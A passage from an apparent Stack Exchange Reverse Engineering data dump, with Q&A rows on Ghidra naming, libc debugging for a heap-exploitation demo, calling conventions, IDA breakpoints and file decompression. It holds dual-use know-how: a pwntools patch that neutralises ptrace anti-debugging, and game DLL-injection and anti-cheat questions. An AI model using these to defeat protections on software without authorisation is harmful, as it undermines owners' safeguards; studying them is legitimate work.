&lt;code&gt;varmap.cc&lt;/code&gt;&lt;/a&gt; is the one that creates stack variables, but I haven't yet confirmed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Label names (from &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/0cdc722921cef61b7ca1b7236bdc21079fd4c03e/Ghidra/Framework/SoftwareModeling/src/main/java/ghidra/program/model/symbol/SymbolUtilities.java#L44&quot; rel=&quot;noreferrer&quot;&gt;SymbolUtilities.java&lt;/a&gt;):&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;SUB_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;LAB_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;DAT_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;UNK_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;EXT_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;FUN_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;OFF_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Also useful, the &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/0cdc722921cef61b7ca1b7236bdc21079fd4c03e/Ghidra/Features/Decompiler/ghidra_scripts/FindPotentialDecompilerProblems.java&quot; rel=&quot;noreferrer&quot;&gt;FindPotentialDecompilerProblems.java&lt;/a&gt; script has some explanations for what some of these mean. Namely, some of the variants of &lt;code&gt;extraout&lt;/code&gt;, &lt;code&gt;in_&lt;/code&gt;, and &lt;code&gt;unaff_&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="18563" LastEditDate="2020-12-02T02:15:18.440" LastActivityDate="2020-12-02T02:15:18.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25996" PostTypeId="1" CreationDate="2020-09-28T05:40:48.723" Score="1" ViewCount="240" Body="&lt;p&gt;Is there any Slack workspace for Reverse Engineer experts?&#xA;I wanna to communicating other people who work in this issue.&#xA;I am thankful if you know this workspace and invite me.&lt;/p&gt;&#xA;" OwnerUserId="31110" LastActivityDate="2020-09-28T05:40:48.723" Title="Reverse Engineer Slack Workspace" Tags="|assembly|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25998" PostTypeId="1" CreationDate="2020-09-28T19:19:54.493" Score="2" ViewCount="640" Body="&lt;p&gt;I'm trying to understand heap exploitation better. Therefore, I compiled the following file:&#xA;&lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have the newest libc. How can I debug the following file with an older version? I know I can try to compile it an older one, but it seems to me like a very daunting task. I tried to load an older libc by downloading one from libc.blukat.me with pwntools, but it doesn't see it.&lt;/p&gt;&#xA;&lt;p&gt;edit: the target cpu arch is x86 64bit.&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="34529" LastEditorUserId="34529" LastEditDate="2020-09-28T20:29:52.560" LastActivityDate="2022-07-22T21:05:20.493" Title="debugging an older version of libc" Tags="|elf|libc|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25999" PostTypeId="2" ParentId="25998" CreationDate="2020-09-28T21:12:20.973" Score="-1" Body="&lt;p&gt;You probably want to set &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; to point to where you have the other libc version.&lt;/p&gt;&#xA;&lt;p&gt;You may also need to rename it to be e.g. 'libc.so.6'.  You can see the exact name that your binary loads with &lt;code&gt;ldd&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ldd /bin/sh&#xA;    linux-vdso.so.1 =&amp;gt;  (0x00007fff107d8000)&#xA;    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fde26974000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007fde26f66000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can verify that your environment variable worked in the same way.  For example, if you copy libc to &lt;code&gt;/home/pwntools&lt;/code&gt;, you might see this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ LD_LIBRARY_PATH=&amp;quot;$PWD&amp;quot; ldd /bin/sh&#xA;    linux-vdso.so.1 =&amp;gt;  (0x00007ffda30f5000)&#xA;    libc.so.6 =&amp;gt; /home/pwntools/libc.so.6 (0x00007f7b26225000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007f7b26817000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastActivityDate="2020-09-28T21:12:20.973" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26000" PostTypeId="2" ParentId="8520" CreationDate="2020-09-28T21:14:33.063" Score="1" Body="&lt;p&gt;You can do this pretty easily with Pwntools:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from pwn import *&#xA;&#xA;elf = ELF('./your-binary')&#xA;elf.asm(elf.symbols.ptrace, 'xor eax, eax; ret')&#xA;elf.save('./your-patched-binary')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastEditorUserId="14622" LastEditDate="2020-09-29T05:50:25.643" LastActivityDate="2020-09-29T05:50:25.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26001" PostTypeId="2" ParentId="17925" CreationDate="2020-09-28T21:24:13.577" Score="2" Body="&lt;p&gt;As long as you can find a static library for a similar version of libc, you can use IDA Pro's FLIRT signatures.&lt;/p&gt;&#xA;&lt;p&gt;Generally this code is not obfuscated, as the system's libc.a will be used.  It's possible to compile libc from source and use obfuscations, but this is not what you'll usually encounter.&lt;/p&gt;&#xA;&lt;p&gt;I've got a script (link below) that I use to generate a &amp;quot;.sig&amp;quot; file which you can drop in IDA Pro's &lt;code&gt;sig/pc&lt;/code&gt; (or &lt;code&gt;sig/arm&lt;/code&gt; or whatever is most relevant) and load it with FLIRT Signatures via &lt;code&gt;File &amp;gt; Load File &amp;gt; FLIRT Signatures&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;On macOS, the directory is e.g.: &lt;code&gt;/Applications/IDA Pro 7.5/ida.app/Contents/MacOS/sig/pc&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the FLIRT signatures are loaded, you can look for whatever symbols you're interested in from IDA.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;[1]&lt;/code&gt;: &lt;a href=&quot;https://gist.github.com/zachriggle/130e01cf4541615e2062ca66d1637a07&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/zachriggle/130e01cf4541615e2062ca66d1637a07&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="264" LastEditorUserId="264" LastEditDate="2020-09-30T23:23:53.930" LastActivityDate="2020-09-30T23:23:53.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26002" PostTypeId="1" CreationDate="2020-09-29T03:32:21.707" Score="2" ViewCount="1886" Body="&lt;p&gt;I am reversing an old DOS game from 1989. What are the function calling conventions for the 16-bit 8086 processor that is used to run this type of program?&lt;/p&gt;&#xA;&lt;h2&gt;How it works on Windows x64&lt;/h2&gt;&#xA;&lt;p&gt;By function calling conventions, I mean, what registers are used to pass what function parameters? Example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;int test(int a, int b, int c, int d, int e, int f, int g) {}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;In Windows x64, this would correspond to&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;rcx, rdx, r8, r9, [stack], [stack], [stack]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2&gt;How it works on 8086&lt;/h2&gt;&#xA;&lt;p&gt;I took a quick look at the &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;X86 calling conventions Wikipedia article&lt;/a&gt;, and 8086 looks more complicated than x64. It looks like there are different kinds of calls &lt;code&gt;cdecl, fastcall, etc.&lt;/code&gt;, and each type of call has its own conventions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZQneU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZQneU.png&quot; alt=&quot;8086 calling conventions table&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A quick peek in Ghidra at an old MZ executable confirms that multiple types occur in the same binary.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gSAuU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gSAuU.png&quot; alt=&quot;Ghidra function calling conventions&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Questions&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can somebody provide a summary of the different types of 8086 calling conventions, their use cases, and the registers they use?&lt;/li&gt;&#xA;&lt;li&gt;Which type is most common?&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cdecl&lt;/code&gt; has an empty register column in the above table... does that mean it passes everything on the stack?&lt;/li&gt;&#xA;&lt;li&gt;Do these &amp;quot;right to left&amp;quot; conventions push everything onto the stack in reverse? g to a instead of a to g?&lt;/li&gt;&#xA;&lt;li&gt;What is Ghidra &lt;code&gt;stdcall, regcall, thiscall&lt;/code&gt;? Does one of these correspond to &lt;code&gt;fastcall&lt;/code&gt; in the Wikipedia table?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="34301" LastActivityDate="2020-10-01T01:05:30.993" Title="8086 Function Calling Conventions" Tags="|ghidra|calling-conventions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26005" PostTypeId="1" CreationDate="2020-09-29T17:25:49.397" Score="1" ViewCount="160" Body="&lt;p&gt;I have created a DLL for DLL inject injection to add a force feedback to a GOG game. The DLL Work perfectly. I have tried to see how work the Debug in CE with this script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;debugProcess()  -- Attach Debugger to the process.&#xA;function debugger_onBreakpoint()&#xA;&#xA;   print(&amp;quot;hello hacking&amp;quot;)&#xA;&#xA;&#xA;    return 0 --Break&#xA;&#xA;end&#xA;&#xA;&#xA;debug_setBreakpoint(0x542E51)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;that work fine like I espected.&lt;/p&gt;&#xA;&lt;p&gt;Now I have used my dll as &amp;quot;template&amp;quot; with another GOG game (DRM free) but this time after tried to hook more then 20 functions that in theory should be call but none of them trigger my code.&lt;/p&gt;&#xA;&lt;p&gt;I have tried with CE using the previous script with the some result, the game never break.&lt;/p&gt;&#xA;&lt;p&gt;At this point I suspect that the game could use a anti-cheating system.&lt;/p&gt;&#xA;&lt;p&gt;For the moment I see that IDA detect the real name of many functions:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NJumW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NJumW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;here what Cheat Engine see:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o3Ez2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o3Ez2.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is a way to verify if the game include a sort of anti-cheatting system or similar ?&lt;/p&gt;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="33776" LastActivityDate="2020-09-29T17:25:49.397" Title="A way to detect a anti-cheating system" Tags="|ida|disassembly|dll-injection|cheat-engine|lua|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26006" PostTypeId="1" AcceptedAnswerId="26025" CreationDate="2020-09-29T19:28:49.840" Score="0" ViewCount="1307" Body="&lt;p&gt;I have an executable (.exe) containing some classes and functions definition and plan on using those functions from within a DLL, although I know to call a regular C style function using calling convention such as __stdcall e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;typedef int(*__stdcall CalleeType)(...);&#xA;&#xA;int Caller(...)&#xA;{&#xA;    CalleeType pCallee = nullptr;&#xA;    pCallee = reintepret_cast&amp;lt;CalleeType&amp;gt;(BaseAddress + RVA);&#xA;    return pCallee(); //calls the function as expected from within the dll&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now my problem starts when I am trying to call functions in which &lt;code&gt;ecx&lt;/code&gt; register is set before the call mostly a method used by _cdecl calling convention in c++. And if this &lt;code&gt;ecx&lt;/code&gt; register is not set before the call of the function the application crashes.&lt;/p&gt;&#xA;&lt;p&gt;I found a solution &lt;a href=&quot;http://sandsprite.com/CodeStuff/Using_an_exe_as_a_dll.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; to load a using &lt;code&gt;Loadlibrary&lt;/code&gt;, it is for me to patch the entry point and set it to return 1, and other stuff that needs to be done before the EXE can become usable as a DLL although this method is a hack but it does show promising results in helping me load this program into memory and call those functions as expected. Although I am confused as to how I can be able to make use of those functions passing &lt;code&gt;ecx&lt;/code&gt; since those are c++ style function calls.&lt;/p&gt;&#xA;&lt;p&gt;My Questions are&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I make this program to execute after loading it using loadlibrary, so that the program can be able to initialize itself properly and can now be able to use properly?&lt;/li&gt;&#xA;&lt;li&gt;How do I make use of a function requiring that &lt;code&gt;ecx&lt;/code&gt; register is set to the &lt;code&gt;this&lt;/code&gt; pointer?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Any ideas or hint will be very useful to me thanks&lt;/p&gt;&#xA;" OwnerUserId="30581" LastActivityDate="2020-10-31T18:56:48.117" Title="how to use class member function defined in a exe within a dll" Tags="|windows|assembly|c++|c|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26010" PostTypeId="1" CreationDate="2020-09-30T09:38:15.050" Score="0" ViewCount="1085" Body="&lt;p&gt;I have the following function with five arguments:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    ; int __cdecl trampolineRegister(void)    &#xA;    a4= dword ptr  8&#xA;    a5= dword ptr  0Ch&#xA;    &#xA;    push    ebp&#xA;    mov     ebp, esp&#xA;    add     eax, [ebp+a4]&#xA;    add     eax, [ebp+a5]&#xA;    add     eax, ecx&#xA;    add     eax, edx&#xA;    cmp     ebp, esp&#xA;    call    j___RTC_CheckEsp&#xA;    pop     ebp&#xA;    retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With this caller code :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, 0Ah&#xA;mov     edx, 0Ah&#xA;push    ecx             ; a5&#xA;mov     eax, 0Fh        ; a1&#xA;push    edx             ; a4&#xA;mov     ecx, 0Ah        ; a3&#xA;mov     edx, 1Eh        ; a2&#xA;call    j_?trampolineRegister@@YAHXZ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;IDA applies this prototype :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __usercall trampolineRegister@&amp;lt;eax&amp;gt;(int a1@&amp;lt;eax&amp;gt;, int a2@&amp;lt;edx&amp;gt;, int a3@&amp;lt;ecx&amp;gt;, int a4, int a5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But&#xA;my question is:&lt;/p&gt;&#xA;&lt;p&gt;Is the order of the arguments correct?&lt;br /&gt;&#xA;What is the order of placement for arguments passing by registers?&lt;/p&gt;&#xA;&lt;p&gt;Thank you :)&lt;/p&gt;&#xA;" OwnerUserId="34543" LastEditorUserId="37138" LastEditDate="2021-11-29T02:00:41.340" LastActivityDate="2021-11-29T02:00:41.340" Title="Order of arguments in __usercall" Tags="|ida|x86|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26011" PostTypeId="2" ParentId="26010" CreationDate="2020-09-30T12:40:55.713" Score="0" Body="&lt;p&gt;The order of arguments is going to be determined from the calling convention. Given that the arguments are passed &lt;code&gt;eax, edx, ecx, stack1, stack2&lt;/code&gt;, it appears it could be the &lt;code&gt;register&lt;/code&gt; calling convention from a Delphi compiler.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;Borland register&lt;/h3&gt;&#xA;&lt;p&gt;Evaluating arguments from left to right, it passes three arguments via EAX, EDX, ECX. Remaining arguments are pushed onto the stack, also left to right. It is the default calling convention of the 32-bit compiler of Delphi, where it is known as register. This calling convention is also used by Embarcadero's C++Builder, where it is called __fastcall. In this compiler, Microsoft's fastcall can be used as __msfastcall.&#xA;GCC and Clang can be made to use a similar calling convention by using __stdcall with the regparm function attribute or the -mregparm=3 switch. (The stack order is inverted.) It is also possible to produce a caller clean-up variant using cdecl or extend this to also use SSE registers. A cdecl-based version is used by the Linux kernel on i386 since version 2.6.20 (released February 2007).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21876" LastEditorUserId="21876" LastEditDate="2020-09-30T13:02:56.433" LastActivityDate="2020-09-30T13:02:56.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26012" PostTypeId="1" AcceptedAnswerId="26013" CreationDate="2020-09-30T16:48:52.707" Score="1" ViewCount="889" Body="&lt;p&gt;In IDA I need to set a breakpoint that once it hit, I want to check if &lt;code&gt;ZF&lt;/code&gt; is equal to 1, if it does, I want to change it to 0.&lt;/p&gt;&#xA;&lt;p&gt;I don't know how to do it:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0bJI4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bJI4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I searched for example scripts in IDC or IDAPython but I didn't find something that shows it.&lt;br /&gt;&#xA;How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-10-01T12:31:26.857" Title="How to set conditional breakpoint to modify ZF (Zero flag)" Tags="|ida|idapython|idc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26013" PostTypeId="2" ParentId="26012" CreationDate="2020-09-30T18:01:51.703" Score="1" Body="&lt;p&gt;shift + f2&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Message(&amp;quot;zf flag when bp hit = %x\n&amp;quot; , GetRegValue(&amp;quot;zf&amp;quot;));&#xA;SetRegValue(0,&amp;quot;zf&amp;quot;);&#xA;Message(&amp;quot;zf flag after setting it %x\n&amp;quot; , GetRegValue(&amp;quot;zf&amp;quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;zf flag when bp hit = 1&#xA;zf flag after setting it 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-09-30T18:01:51.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26014" PostTypeId="2" ParentId="20771" CreationDate="2020-09-30T18:34:57.423" Score="1" Body="&lt;p&gt;This is the code I used for decompression. It uses &lt;strong&gt;Crush32.cs&lt;/strong&gt; from &lt;a href=&quot;https://github.com/cyberjunk/meridian59-dotnet/blob/c45a65552333509220b11b41ecc46d75023b5acd/Meridian59/Files/BGF/BgfBitmap.cs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cyberjunk/meridian59-dotnet/blob/c45a65552333509220b11b41ecc46d75023b5acd/Meridian59/Files/BGF/BgfBitmap.cs&lt;/a&gt; and &lt;strong&gt;Kaitai Struct&lt;/strong&gt; (&lt;a href=&quot;https://kaitai.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://kaitai.io/&lt;/a&gt;) to slice the files. It should work for book.bbi and &lt;em&gt;probably&lt;/em&gt; for other formats as well, it's been a long time so I don't exactly remember all the difficulties I ran into while decompressing and tinkering with these files.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach (string dir in Directory.EnumerateDirectories(@&amp;quot;F:\database\komatsu&amp;quot;)) {&#xA;    foreach (string file in Directory.EnumerateFiles(dir, &amp;quot;book.bbi&amp;quot;)) {&#xA;        Console.WriteLine(&amp;quot;Decompressing &amp;quot; + file);&#xA;        Bbi03 page = Bbi03.FromFile(file);&#xA;        &#xA;        byte[] decompressedData = new byte[(int)page.UncompressedLength1];&#xA;        bool status = Crush32.Decompress(page.Data, 0, decompressedData, 0, (int)page.UncompressedLength1, (int)page.CompressedLength);&#xA;        Console.WriteLine(status);&#xA;        File.WriteAllBytes(@&amp;quot;saa6d1jc\&amp;quot; + Path.GetFileNameWithoutExtension(file) + &amp;quot;.bin&amp;quot;, decompressedData);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And here are the .ksy files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;book_bbi.ksy&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;meta:&#xA;  id: book_bbi&#xA;  endian: le&#xA;  encoding: ASCII&#xA;  &#xA;seq:&#xA;  - id: file_header&#xA;    type: str&#xA;    size: 22&#xA;  - id: date&#xA;    type: str&#xA;    size: 16&#xA;  - id: magic&#xA;    # bbi 03-04.030: [0xff, 0x7f, 0xff, 0x7f]&#xA;    # bbi 04.100: [0x88, 0x03, 0xca, 0x03]&#xA;    size: 4&#xA;  - id: data_header_start&#xA;    contents: [0x02, 0x00]&#xA;  - id: compressed_length_with_header&#xA;    type: u4&#xA;  - id: uncompressed_length&#xA;    type: u4&#xA;  - id: uncompressed_length_2&#xA;    type: u2&#xA;  - id: compressed_length&#xA;    type: u2&#xA;  - id: data_header_end&#xA;    contents: [0x00, 0x00]&#xA;  - id: data&#xA;    size: compressed_length&#xA;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;bli_03.ksy&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;meta:&#xA;  id: bli_03&#xA;  endian: le&#xA;  encoding: ASCII&#xA;seq:&#xA;  - id: file_header&#xA;    type: str&#xA;    size: 22&#xA;  - id: date&#xA;    type: str&#xA;    size: 16&#xA;  - id: data_header_start&#xA;    contents: [0x02, 0x00]&#xA;  - id: compressed_length_with_header&#xA;    type: u4&#xA;  - id: uncompressed_length_1&#xA;    type: u4&#xA;  - id: uncompressed_length_2&#xA;    type: u2&#xA;  - id: compressed_length&#xA;    type: u2&#xA;  - id: data_header_end&#xA;    contents: [0x00, 0x00]&#xA;  - id: data&#xA;    size: compressed_length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;ilg_00.ksy&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;meta:&#xA;  id: ilg_00&#xA;  endian: le&#xA;  encoding: ASCII&#xA;seq:&#xA;  - id: header&#xA;    type: str&#xA;    size: 22&#xA;    size: 16&#xA;  - id: smth1&#xA;    size: 4&#xA;  - id: width&#xA;    type: u2&#xA;  - id: height&#xA;    type: u2&#xA;  - id: bits_per_pixel&#xA;    type: u2&#xA;  - id: dpi&#xA;    type: u2&#xA;  - id: smth2&#xA;    size: 12&#xA;  - id: data_length&#xA;    type: u4&#xA;  - id: smth3&#xA;    size: 12&#xA;  - id: data&#xA;    size: data_length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;ilg_03.ksy&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;meta:&#xA;  id: ilg_03&#xA;  endian: le&#xA;  encoding: ASCII&#xA;seq:&#xA;  - id: header&#xA;    type: str&#xA;    size: 22&#xA;  - id: date&#xA;    type: str&#xA;    size: 16&#xA;  - id: smth1&#xA;    size: 4&#xA;  - id: width&#xA;    type: u2&#xA;  - id: height&#xA;    type: u2&#xA;  - id: bits_per_pixel&#xA;    type: u2&#xA;  - id: dpi&#xA;    type: u2&#xA;  - id: smth2&#xA;    size: 12&#xA;  - id: data_length&#xA;    type: u4&#xA;  - id: smth3&#xA;    size: 12&#xA;  - id: data&#xA;    size: data_length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27663" LastActivityDate="2020-09-30T18:34:57.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26015" PostTypeId="2" ParentId="26010" CreationDate="2020-09-30T19:40:05.417" Score="0" Body="&lt;p&gt;j___RTC_CheckEsp is most probably not delphi compiled exe but borland c++ compiled executable probably using the -pr switch&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Register&#xA;&#xA;(Command-line switch: -pr)&#xA;&#xA;This option forces the compiler to generate all subroutines and all functions using the Register parameter-passing convention, which is equivalent to declaring all subroutine and functions with the _ _fastcall keyword. With this option enabled, functions or routines expect parameters to be passed in registers.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;example code compiled with bcc32 and linked with ilink32&lt;br /&gt;&#xA;(borland antique compiler and linker circa 19xx )&lt;br /&gt;&#xA;just a mean 8.7 megabyte all inclusive awesomeness&lt;/p&gt;&#xA;&lt;p&gt;code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;int DemoBcc55RegisterCall( int a,int b, int c, int d,int e,int f ) &#xA;{&#xA;    return a+b+c+d+e+f;&#xA;}&#xA;int WINAPI WinMain(HINSTANCE , HINSTANCE ,    LPSTR , int )&#xA;{&#xA;    char buff[0x100] ={0};&#xA;    int res= DemoBcc55RegisterCall(3,4,5,6,7,8);&#xA;    wsprintf(buff, &amp;quot;Function Returned %d\n&amp;quot; ,res);&#xA;    MessageBoxA(NULL,buff,&amp;quot;bcc_register_calling_convention&amp;quot;,MB_OK);&#xA;    return 0;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;executed&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2pQCU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2pQCU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;disassembly of relevent areas in main and function&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; u 401185&#xA;testbcc!_GetExceptDLLinfo+0x12c:&#xA;00401185 6a06            push    6&#xA;00401187 6a07            push    7&#xA;00401189 6a08            push    8&#xA;0040118b b905000000      mov     ecx,5&#xA;00401190 ba04000000      mov     edx,4&#xA;00401195 b803000000      mov     eax,3&#xA;0040119a e8b1ffffff      call    testbcc!_GetExceptDLLinfo+0xf7 (00401150)&#xA;0040119f 50              push    eax&#xA;0:000&amp;gt; uf 401150&#xA;testbcc!_GetExceptDLLinfo+0xf7:&#xA;00401150 55              push    ebp&#xA;00401151 8bec            mov     ebp,esp&#xA;00401153 03d0            add     edx,eax&#xA;00401155 03ca            add     ecx,edx&#xA;00401157 034d10          add     ecx,dword ptr [ebp+10h]&#xA;0040115a 034d0c          add     ecx,dword ptr [ebp+0Ch]&#xA;0040115d 034d08          add     ecx,dword ptr [ebp+8]&#xA;00401160 8bc1            mov     eax,ecx&#xA;00401162 5d              pop     ebp&#xA;00401163 c20c00          ret     0Ch&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-09-30T19:40:05.417" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26018" PostTypeId="2" ParentId="26002" CreationDate="2020-10-01T01:05:30.993" Score="4" Body="&lt;p&gt;Calling conventions are compiler specific, meaning they are specified by the compiler manufacturer like Microsoft, and not by the 8086 manufacturer like Intel. In case you program in Assembler or build your own compiler, you can apply your own method to pass function parameters.&lt;/p&gt;&#xA;&lt;p&gt;Nevertheless, in the C/C++ world, there are mainly the __cdecl and the __stdcall conventions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;cdecl&lt;/strong&gt;: Parameters on the stack, rightmost parameter first (RTL). cdecl calls need slightly more code than stdcall, because the caller has to cleanup the stack after the call. Thus, when reversing you might make a guess about the programming language from how the stack is cleaned after a function 